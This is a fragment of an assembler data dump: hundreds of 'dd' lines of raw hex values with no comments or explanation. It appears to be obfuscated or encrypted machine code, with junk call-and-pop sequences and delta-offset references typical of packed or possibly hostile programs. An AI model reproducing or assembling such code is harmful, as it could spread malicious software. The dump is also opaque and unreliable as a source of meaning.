0A8301756h, 22FB0E0Bh, 0B95CCE7Ch dd 73EB12BAh, 0D024C42Dh, 7B5CEDF5h, 8A2945F8h, 37E416D8h dd 74128069h, 4A472BFh, 0D505FFA7h, 10171526h, 47EFE240h dd 0FC96h, 0D48BCD00h, 40F57A80h, 0C86DEE14h, 46F3669Ch dd 0C96AE812h, 0C8BA3B9Dh, 47BDE98Ah, 0C2386C0Fh, 43B9ED92h dd 913B6F0Ah, 60BBB103h, 820E1D47h, 4EED6D2Bh, 0CC6DE01Ah dd 0E86DC198h, 66EFE549h, 13669FCBh, 148E144Ah, 5666CEA6h dd 1AB92117h, 0BC2BAF60h, 45AC212h, 0B5EB88CAh, 0BD3DF67Bh dd 0B2DEB21Eh, 89D1721Eh, 6C1B390Fh, 0DD7CF111h, 5CFF7389h dd 8321F0h, 39780000h, 71D285F7h, 6582574h, 0A69208B4h dd 7D23BB12h, 3F9C3FB3h, 0B160959Fh, 3BD61FE5h, 0BB20C997h dd 9DA8065Ch, 6B33A30h, 8CFCDFA5h, 7D7764E9h, 9445880Fh dd 6B33AC0h, 8508B158h, 0B5E92BF3h, 59FA9645h, 0D37EF3F9h dd 63912F7Fh, 24702154h, 7AC897DEh, 93D72782h, 27966EDCh dd 71E993D7h, 0FCA3DF06h, 8A54E22Ah, 3DD48AE6h, 0F5D4A6E5h dd 6A60581h, 0B6639658h, 3C815h, 8910000h, 34EB6DA5h, 0BE5B9298h dd 3BDC1812h, 0BA599D97h, 3DDE1C16h, 0A4579B91h, 22CF0208h dd 0A657848Eh, 2ECF000Ah, 8952E982h, 4C281E2h, 83000000h dd 143304EAh, 24143124h, 5C241433h, 24ED68h, 240C8900h dd 7C1868h, 242C8900h, 0F7A3BA52h, 595205F0h, 3A78685Ah dd 24890000h, 24048124h, 4, 3481515Dh, 7828C124h, 8458F1Ah dd 28C1BA52h, 55311A78h, 2C8B5A08h, 0E1895124h, 4C181h dd 0C1810000h, 4, 5C240C87h, 592434FFh, 0E904C483h, 0FFF98242h dd 1DF288FCh, 2C3F0237h, 91C555AAh, 0B83D0CADh, 5F0FBC1h dd 0E0FFC503h, 2327E45Eh, 3EB624B7h, 1C2A24DAh, 1622DC5Bh dd 3801214Bh, 4B96EAD0h, 23C85EF7h, 0D762B95h, 13E8h, 0BE484000h dd 58E777B9h, 98BEAA5h, 0C438E55Eh, 0A6EEA86h, 0E781665Ah dd 0C28110F3h, 660Ch, 6E860h, 51730000h, 815DBD4Ah, 815E6160h dd 0F2FDCDE0h, 4EB86174h, 8105C9D5h, 0C9BC0EE8h, 12E805h dd 0D90A0000h, 1DA51D68h, 0DF8A140h, 8ADB7C6Fh, 0D0209206h dd 60328B5Bh, 8E9h, 0DE3B9B00h, 319EA435h, 13E93Bh, 0EEFE0000h dd 1080D584h, 7813BD18h, 0BA6B39CDh, 210767A3h, 0F68161ABh dd 18690CA3h, 0C840Fh, 8F0F0000h, 6, 8B0Fh, 0F6810000h dd 1B8BBDFFh, 0B674BB60h, 0BF0F1803h, 0F68161C3h, 6D285B8Dh dd 56DEBF0Fh, 12E9h, 54E44200h, 0BA5F4C6Eh, 4FE3BBAFh dd 989116E1h, 8F9C34B6h, 8CDB8102h, 810F3B4Ah, 4866A4EAh dd 555EB959h, 0C2817EF8h, 594866A0h, 1C850F48h, 51000000h dd 0BE9h, 79B0F900h, 0C112F6C9h, 5557428Eh, 0FE959h, 1FB30000h dd 0E90613E3h, 0FFFFFF4Dh, 434BE9Dh, 0EE879h, 27F0000h dd 0B903EEB7h, 89C88842h, 61E515Fh, 5E19D180h, 0A6E2DA81h dd 0C6815C93h, 59F7h, 0FDC6D881h, 0FF330F9Ch, 8B88F580h dd 830F3E1Ch, 3, 81CE8B66h, 1FC636C3h, 11E975h, 7D420000h dd 3CBC1AECh, 56DAA80Fh, 0E5C42D23h, 81653726h, 724B50C3h dd 0C28B667Dh, 0B099F381h, 8B606605h, 9E8CFh dd 0FD0000h, 89993459h, 0E97867FEh, 7, 28DA1239h, 5A02DDADh dd 0F2805361h, 3E048F30h, 49C08166h, 4EF83FFh, 5820Fh dd 81660000h, 81E5C6C0h, 0FFA6DCFFh, 14850FFFh, 81000000h dd 8CC6E3C8h, 27E963h, 37570000h, 0E2C54C5Ch, 81C5085Eh dd 86704C9h, 0FF65E965h, 1BFCFFFFh, 0C4B3C77Ch, 0B3EE2793h dd 60D44CBDh, 614D732Dh, 83C08BDAh, 0EA13D9BDh, 9750005h dd 2EE5BD83h, 740005EAh, 8B535019h, 421B8C0h, 85890000h dd 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h dd 50177400h, 421B853h, 85890000h, 5EA0D79h, 0DAE49D8Dh dd 0D3FF05ECh, 0C08B585Bh, 30A99D8Bh, 85C605EAh, 5EA1A45h dd 0B8526856h, 0B5FF9CA8h, 5EA238Dh, 0AFA0858Dh, 0D0FF05EDh dd 68046Ah, 0FF000010h, 0EA13A1B5h, 0FF006A05h, 0FC085D0h dd 0D85h, 0B800h, 8D8D0000h, 5EA7062h, 0C88BE1FFh, 4003C38Bh dd 0F8053Ch, 508B0000h, 83D3030Ch, 0EA17DDBDh, 840F0005h dd 0Eh, 17DD9D8Bh, 858B05EAh, 5EA0BB5h, 52510389h, 79E2858Dh dd 0D0FF05EAh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 5EA1A45h dd 6D396856h, 0B5FFD41Fh, 5EA238Dh, 0AFA0858Dh, 0D0FF05EDh dd 800068h, 52006A00h, 0C08BD0FFh, 13D9BD83h, 750005EAh dd 0E5BD8309h, 5EA2Eh, 53501974h, 21B8C08Bh, 89000004h dd 0EA076985h, 5C9D8D05h, 0FF05ECDEh, 83585BD3h, 0EA2EE5BDh dd 17740005h, 21B85350h, 89000004h, 0EA076985h, 0FD9D8D05h dd 0FF05ECDAh, 8B585BD3h, 0DD9D8DC0h, 8B05EA17h, 0FC00B03h dd 784h, 8B038B00h, 1889045Bh, 4B41B8h, 0EE800h, 834E0000h dd 50A51E0Eh, 44D2059Eh, 9F5A3026h, 0FE9h, 0B6849100h dd 0A40A1678h, 3B95B005h, 7D0F3700h, 0C281F55Ah, 5EFCh dd 14E9h, 5049CA00h, 0CDEFADB2h, 0B06103D6h, 0C92F4FF1h dd 74FCA19Ch, 1778BBB5h, 11E80000h, 1A000000h, 0DCA5D28Ch dd 7E4E2AC4h, 4822E508h, 11ED6C30h, 2094C881h, 8B5972E8h dd 0E38A5132h, 0CEEE8159h, 0E92BAFE2h, 7, 0BD5DC1B3h, 81E919C6h dd 73A94AC6h, 0C18B6635h, 33E4EE81h, 0BF0F228Bh, 0E93289C6h dd 11h, 0E2B69EE3h, 0D1DC80B1h, 6F9248Fh, 0B0F2ADC7h, 4EA8378h dd 0EB81C28Ah, 1, 2F850Fh, 0BE80000h, 71000000h, 2531C0EBh dd 1FD00377h, 0CCB9E926h, 5906B6F9h, 4DE9h, 0A99BD900h dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 74CB6E0h, 14E80Ch dd 528A0000h, 2ED32595h, 0E35307B9h, 924F3E27h, 6629F4CFh dd 0C181982Ah, 66CFEEC4h, 0FF59E959h, 0FF1FFFFFh, 38574F29h dd 3B5112A6h, 0BC50F30Ch, 5AD161B2h, 16EBE206h, 5 dup(0) dd 1340101h, 5F10000h, 0A4DB8056h, 0CDBB9059h, 5048B597h dd 8190E88Ah, 7CDD01D1h, 6A006A6Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F33AC353h dd 2B91BD89h, 6A05EAh, 820FF88Ah, 2, 858DD58Ah, 5F10222h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A1C35343h dd 16E99D89h, 0D38005EAh, 2DBD8B2Fh, 9005EA2Eh, 75FBBF66h dd 90EF8A50h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 66C35646h, 29CFCC34h, 0EA16699Dh, 0E8006A05h, 12h dd 1AC69C38h, 5FC61BBEh, 0EA62EE74h, 0DA6C6722h, 6A599282h dd 11E86000h, 0E4000000h, 347D5A5Eh, 1EFCC3DDh, 234DD54Bh dd 717F0EB2h, 8A0F5BF8h, 16h, 11E9h, 0A3FCD600h, 388A2DC1h dd 0F947AE3h, 0D816C6F0h, 6661CE5Dh, 95FFFE8Bh, 5EA23E9h dd 59BD8B60h, 8105EA0Ch, 0D0E2E1F7h, 57E9617Ah, 60000005h dd 24EDB509h, 0E86105EAh, 0 dd 27ED815Dh, 6A05F102h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 6AF3C351h, 8BFE8B9Ah dd 0EA1275BDh, 0EF9D6805h, 8D0F414Dh, 14h, 9E8h, 0F983000h dd 86792734h, 0F9BAC575h, 5F03CE3Fh, 3D243481h, 0F414DE0h dd 68Ah, 15F38100h, 0FF1C91EFh, 0EA101595h, 15BD8B05h dd 8D05EA08h, 0F100EBB5h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 7F34C727h dd 6A6B4907h, 15952942h, 0C705EA0Fh, 67655206h, 53006A6Dh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 8FD05366h, 46C7F92Dh, 636E6F04h, 159D896Ch, 0C705EA1Bh dd 73610846h, 6A0073h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 11466C3h, 0EA1A7995h, 66006A05h dd 858DD88Bh, 5F100EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0DDC35747h, 11F5BD03h, 669005EAh, 6050F88Bh dd 310F5250h, 585ADA8Bh, 9C68BA66h, 6A9061h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66277CC3h dd 0BAE3B5BAh, 4BB1DB8Dh, 147D95FFh, 6A05EAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 1EC7E1C3h dd 0CE9913Ch, 32000000h, 8744395Ch, 0F47EA222h, 0B4DC90Eh dd 4F840FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 9936C355h, 26E23D2Bh dd 0E9E97AB6h, 347h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 4FC35646h, 7F4ACBEEh, 11A9BD33h, 0E56805EAh dd 0E95D203Dh, 9, 0A7853A9Bh, 6D9920D1h, 2434816Bh, 5D203CC9h dd 66B7B060h, 612C3BB8h, 101595FFh, 6A05EAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0D3F9CBC3h dd 0EBB58DA2h, 6A05F100h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 8192C351h, 0CA253266h dd 10E9h, 95788B00h, 0A6685C33h, 66D2FF42h, 37D7B64Dh dd 0F1BD8BDCh, 0C705EA0Ch, 34383106h, 1890F36h, 0F5000000h dd 370446C7h, 6631342Dh, 0C7D4B3B9h, 846h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0EB63ADC3h, 16618529h, 6A05EAh, 8DD88B66h, 0F100EB85h dd 902AB705h, 6050CF8Bh, 8F0F5BB0h, 12h, 0CE8h, 913BE400h dd 9EF037CBh, 5CC1D0A5h, 90615F16h, 296D8589h, 95FF05EAh dd 5EA147Dh, 0D51BD8Bh, 0C00B05EAh, 27840Fh, 0EF810000h dd 0EF7F595h, 202E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0CA5D685Fh, 0DF8B6E59h dd 71243481h, 6A6E59CBh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 742C357h, 0DF167792h dd 5759D852h, 9999589h, 0FF5B05EAh, 0EA101595h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 26883064h, 0FD8D89BCh, 6605EA2Bh, 8DE4A6BFh, 0F100EBB5h dd 918D8905h, 0C705EA02h, 6C694606h, 53006A65h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 9257D983h dd 0FE2D4DE7h, 6D0446C7h, 60636E6Fh, 7CBDE781h, 0E9613B8Eh dd 12h, 44B17EA9h, 445DFE3Fh, 0D0718D5Bh, 0D9BBDh, 46C77FC9h dd 73616C08h, 52006A73h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 3C2A227Fh, 9B5548FDh, 46C7E265h dd 0Ch, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 8AC6FE86h, 6A006AD7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A4DAC357h dd 0EB858D55h, 0E905F100h, 0Ch, 0CE5A09BFh, 0D3483B1Dh dd 70458C03h, 67D9D03h, 0E85005EAh, 13h, 0EDC05747h, 0DE72981Dh dd 0FBB2DE2Eh, 63D86C2Dh, 0E986BCA4h, 0Bh, 842ADA44h, 571567D1h dd 5FE1577Eh, 0FF240489h, 0EA147D95h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 359C9D1Eh, 5382F52Ah, 0D19D89CCh, 0B05EA05h, 21840FC0h dd 33000000h, 0EA29E1BDh, 21E905h, 11E90000h, 60000000h dd 0A78ECC45h, 386E4890h, 0FF3D9687h, 0DFDCBA7h, 0FFFAF2E9h dd 0DD9529FFh, 8D05EA13h, 0EA7062B5h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 68E5D18h, 0B9E61ADEh, 55EB72F5h, 0B8h, 0E6FFF800h, 24E59523h dd 0C18B05EAh, 23719D8Dh, 34B805EAh, 89000014h, 0EA0C3985h dd 0E805h, 5580000h, 0Dh, 34E90389h, 14h, 50Ch dup(0) dd 8D000000h, 0F11C658Dh, 0D9B70F05h, 0ADD8D89h, 0CB8105EAh dd 7A3E9DA6h, 8C0Fh, 85C70000h, 5EA0ACDh, 737Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0ABC35343h, 149FF7DAh dd 20C9858Bh, 85C705EAh, 5EA25F5h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BFC35747h dd 563A32EDh, 0CDB58BC3h, 0FF05EA0Fh, 0EA1189B5h, 4D9D8B05h dd 105EA1Eh, 0EA30199Dh, 1995FF05h, 6A05EA2Ah, 1595FF00h dd 8B05EA10h, 0C578EBC0h, 29079FA0h, 85F945A7h, 0B3B601E4h dd 2D3E9505h, 88256831h, 0B11D9C05h, 0BB654AA9h, 77AD4AE1h dd 8342427Bh, 63DFAD62h, 0C193FE1Dh, 574B303Dh, 4CA8C124h dd 43F36D51h, 85C4CD45h, 0C9D53FC1h, 6B26C1FAh, 0F38255E9h dd 6DC87C8Eh, 926CBF64h, 94D6647Eh, 0C97541Bh, 227F298Fh dd 48FD3C2Ah, 0E2659B55h, 958193BEh, 0F8BAFE12h, 0BEF3327Ch dd 2C47ED32h, 0E9CF85D2h, 3Bh, 41BD8B60h, 8305EA2Fh, 0C93304EFh dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h dd 0FFFFD382h, 8BC361FFh, 0EE8C8h, 0AAB80000h, 438E7049h dd 0B17624F6h, 0DE62DACCh, 61858Bh, 0B15E05EAh, 0D6C68149h dd 0F00006Ah, 94BAC2B7h, 814108BCh, 0F75E02C2h, 0BD8B60BEh dd 5EA0801h, 0AA2BB866h, 0F3E8B61h, 68Dh, 0F99D2B00h, 8105EA00h dd 6686C0EFh, 0C78B665Bh, 0CCB5C781h, 0D3BB0E34h, 812193CFh dd 0C880B8C7h, 7D8D8B5Dh, 8905EA08h, 0EE83F93Eh, 9958904h dd 8105EA11h, 1EAh, 0BA850F00h, 66FFFFFFh, 0D442E181h dd 8B7ACAFEh, 3F9A80Ah, 88418A4Eh, 0D5ABA80Ah, 881975EAh dd 0E7A80Ah, 5DBA8A4Eh, 15C57AEh, 89098A4Eh, 0D5ABA80Ah dd 89D075EAh, 182A80Ah, 8E528A4Eh, 60CA80Ah, 8ED48A4Eh dd 0D5ABA80Ah, 2F2575EAh, 0DB4A7ED4h, 0FC00310h, 0A751594Ch dd 535ACE90h, 9BD12154h, 2F407B08h, 0DB4B33D4h, 17C00310h dd 0A751594Ch, 535A7990h, 97D12154h, 2F407B08h, 0DB74E2D4h dd 63C00310h, 0A751594Ch, 53651590h, 0E3D12154h, 2F407B08h dd 0DB744BD4h, 6FC00310h, 0A751594Ch, 5364A690h, 0FFD12154h dd 2F407B08h, 0DB75C5D4h, 7BC00310h, 0A751594Ch, 53642490h dd 0F7D12154h, 2F407B08h, 0DB7547D4h, 43C00310h, 0A751594Ch dd 5367A290h, 0CFD12154h, 0C3407B08h, 2A5012B8h, 4ECEDF15h dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7B49485h, 2AA8ED96h dd 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h, 64C6CB15h dd 0D5BA4155h, 63CE75EAh, 77D3AAEh, 42848FFFh, 2211AB53h dd 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h dd 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 6C54A851h dd 0A24162ADh, 0EA660351h, 2FEE27BFh, 0DB705DDBh, 12947510h dd 0A0D90201h, 0A7B4AEE0h, 0A1EC79AEh, 941AE51h, 0EA122DCh dd 73BA8FE4h, 2ADF1037h, 28C82173h, 2FA58CA4h, 2BFD5BEAh dd 81508C15h, 86B00098h, 0FBABADA0h, 89EFD2A5h, 57DDA42Ch dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh dd 0C0D5F251h, 0A7B49545h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh dd 30BACC15h, 2FBEB060h, 69CE529Eh, 0B99783FCh, 31EFE2A5h dd 0A0D9F9FAh, 0A7B4AEE0h, 9A0D79AEh, 1A232094h, 81328C55h dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h dd 0C2345495h, 0A2458A15h, 8DBE290Bh, 29407B0Ah, 57DFA024h dd 5E004D19h, 2A54A851h, 93D77553h, 0A1514249h, 69CE19CDh dd 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A7B4AEE0h, 9A0D79AEh dd 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh, 5E000174h dd 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh dd 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h, 0A2454A38h dd 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h, 25862DA0h dd 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h, 0AE38A1BEh dd 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh, 5FDFC8ADh dd 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h, 62765826h dd 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h, 2A5D1151h dd 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h, 91EF4B93h dd 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 229D00B9h dd 0E1D4A7B2h, 8860085h, 0EA122DCh, 73BA8FE4h, 0A7FEF8E1h dd 53617F9Fh, 0A0855754h, 0DF6E20D6h, 0D629215Dh, 5E000174h dd 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h, 0D6116F5Dh dd 0A2458A15h, 2A54AFE9h, 8BD77515h, 2651427Ch, 28C82045h dd 2FA58CA4h, 2BF55BEAh, 86949BFBh, 622E8531h, 8050AC59h dd 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h dd 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h, 0D5FE0451h dd 485DBB87h, 868C2354h, 2FEF4917h, 0DB705DDBh, 0C4947510h dd 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h, 0E89D5414h dd 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh, 0A2457650h dd 80F8A851h, 0BA7418EAh, 0E2DFADBBh, 88558B9h, 0EA132DCh dd 71BA8FE4h, 0E3941037h, 63CF2173h, 262983FBh, 0C3B9F79Ch dd 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h dd 0A2B9CFD2h, 8654A851h, 93D775BFh, 0A1514249h, 637726DDh dd 0DFCE25FBh, 5D407B31h, 0AAECCE82h, 28EEECE4h, 577F0290h dd 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h dd 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h, 0B0D90337h dd 0A7B4AEE0h, 92327BAEh, 9234B95h, 1FE04FDh, 0DFCC8668h dd 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h, 0A15CDDDAh dd 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h, 53617F8Fh dd 9A875754h, 0E0320A0h, 0DFCE25FBh, 5D407B31h, 0ACECCE82h dd 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7B4A86Dh, 2AA8ED96h dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h dd 0D554A851h, 0D7BA8660h, 87CE2559h, 0F1407B08h, 34D032DCh dd 71BA8FE4h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h dd 2FA5B5ECh, 26DF0746h, 0D551594Fh, 5E0003C6h, 2A5492B8h dd 0AE307515h, 0A75CDDAEh, 5358438Fh, 0B0D9FB54h, 0A7B49491h dd 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h, 378132DCh dd 2F168FE4h, 0DB4A2CCBh, 2B967510h, 2ABD5414h, 0C3458A15h dd 0E3A8EDDAh, 0BA4582D7h, 3044h, 75FDED55h, 76F67A5Eh dd 56E669A4h, 0AFFD49BCh, 0DFD21FAh, 42FD21D4h, 0A0FD21C3h dd 92FD2156h, 88FD2193h, 51FD2171h, 36FD211Fh, 2DFD21A7h dd 68FD21FBh, 21FD21D4h, 9AFD21C3h, 0E7FD2148h, 0C4FD218Ch dd 0A1FD216Eh, 6DFD211Fh, 0B1FD21A5h, 9DFD21FAh, 95358A25h dd 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h dd 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h dd 75FD7ABCh, 76FD7A5Eh, 75A7EDEFh, 75A7ED67h, 75FD7ACBh dd 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh, 700C5D05h dd 566FFFA6h, 0F0707F66h, 700C5DBAh, 56AFFF6Ch, 0F0707F03h dd 700C5DD6h, 5673FF35h, 0F0707FAFh, 700C5D20h, 56ABFF1Eh dd 0F0707F3Ah, 700C5C2Bh, 56A7FF7Bh dd 0F0707F88h, 700C5FD0h, 56A3FFD7h, 0F0707FDEh, 700C5FE9h dd 569FFF42h, 0F0707F14h, 700C5F66h, 569BFFF0h, 0F0707F4Dh dd 700C5FB1h, 568FFFA6h, 0F0707F66h, 700C5F70h, 5697FF6Ch dd 0F0707F03h, 700C5FA3h, 5693FF35h, 0F0707FAFh, 700C5FC0h dd 568FFF1Eh, 0F0707F3Ah, 700C5CCCh, 567FFF7Bh, 0F0707F88h dd 700C5CF4h, 567BFFD7h, 0F0707FDEh, 700C5CFCh, 5677FF42h dd 0F0707F14h, 700C5C46h, 568BFFF0h, 0F0707F4Dh, 700C5CB5h dd 5687FFA6h, 0F0707F66h, 700C5D4Dh, 5683FF6Ch, 0F0767F03h dd 70176248h, 5636FF35h, 0F0767FAFh, 70175706h, 5632FF1Eh dd 0B69C7F3Ah, 9D11F1B0h, 75FD7AF2h, 0AA17FB23h, 25F88B98h dd 0FDF53FD5h, 84DEB0ADh, 0B7342292h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 700C5FBCh, 56ACFFA0h, 0C87D7FDEh dd 700C59C6h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 5632EF86h dd 0FEBD7F4Dh, 7A452B96h, 8AFD7A2Fh, 84DEB502h, 2748F7CEh dd 0F8F88BC6h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh dd 84DEB5BAh, 2748F792h, 0F8F88BE8h, 8A50FCD1h, 0BC1F2322h dd 56ACF787h, 2DA07F4Dh, 2CA32005h, 776D92ECh, 0CD4D7A97h dd 8A5779C1h, 84DEB170h, 9D3ED1F7h, 75FD7807h, 0CD9BC2DAh dd 0DE9B5954h, 5636EFD0h, 0DE9B7F66h, 77959208h, 360B7AE5h dd 6E8872F3h, 5636EF86h, 0C54D7F4Dh, 8AAD7954h, 84DEB1BAh dd 0F69B2092h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h dd 0FF4DBA07h, 0BE6885B5h, 2FF88BD1h, 51FD5F1Fh, 133F71DAh dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 5632EF0Dh dd 0C0707F88h, 700C592Ah, 7F518A5Dh, 0E002D02Ch, 700C595Ch dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h dd 75059243h, 2D4D7A5Eh, 0B6577925h, 56B5FF69h, 0C87D7F3Ah dd 700C59ADh, 0F8EC0FF3h, 84DEC0FCh, 61152AB9h, 9DFD7A5Ch dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh dd 56B5F787h, 0C87D7F4Dh, 700C5916h, 0F8F10F2Fh, 84DEC012h dd 0DE152ACEh, 0B6FD7AE4h, 75FD7E4Ah, 0BA688579h, 0F8F88B9Fh dd 84D56DC3h, 6DF9F02Ah, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 84DEB1CBh, 514ACE2Ah dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 5636EF68h, 917D7F3Ah dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 84DEB570h, 0DB60F7F7h dd 0F8F88B5Ah, 0CD3E39A0h, 75FD7A4Eh, 5632EFD0h, 0B57E7F66h dd 8935F1CEh, 5636EF1Ah, 97577F03h, 0BE15B98Eh, 0FF028543h dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 5217FB04h, 0FCF88B07h dd 0CF7D86EAh, 700C5901h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h dd 5632E843h, 0FCBD7FAFh, 84DEA9ADh, 0F835F192h, 84D58179h dd 0BE6F85E0h, 0FDF88BD1h, 801F3C7Fh, 75FD6D04h, 0A67F795Eh dd 35F88B0Ch, 5D12E01Ah, 0B67E7F3Ah, 22FEF3E1h, 75FD644Bh dd 0A6777979h, 0F8F88B9Fh, 84D5A7ECh, 2B59892Ah, 75FD722Fh dd 0BA6F85CBh, 0F6F88BC6h, 85897E0Ah, 72447C71h, 7DFD7ABCh dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh dd 8A015B7Fh, 8980F334h, 8980F184h, 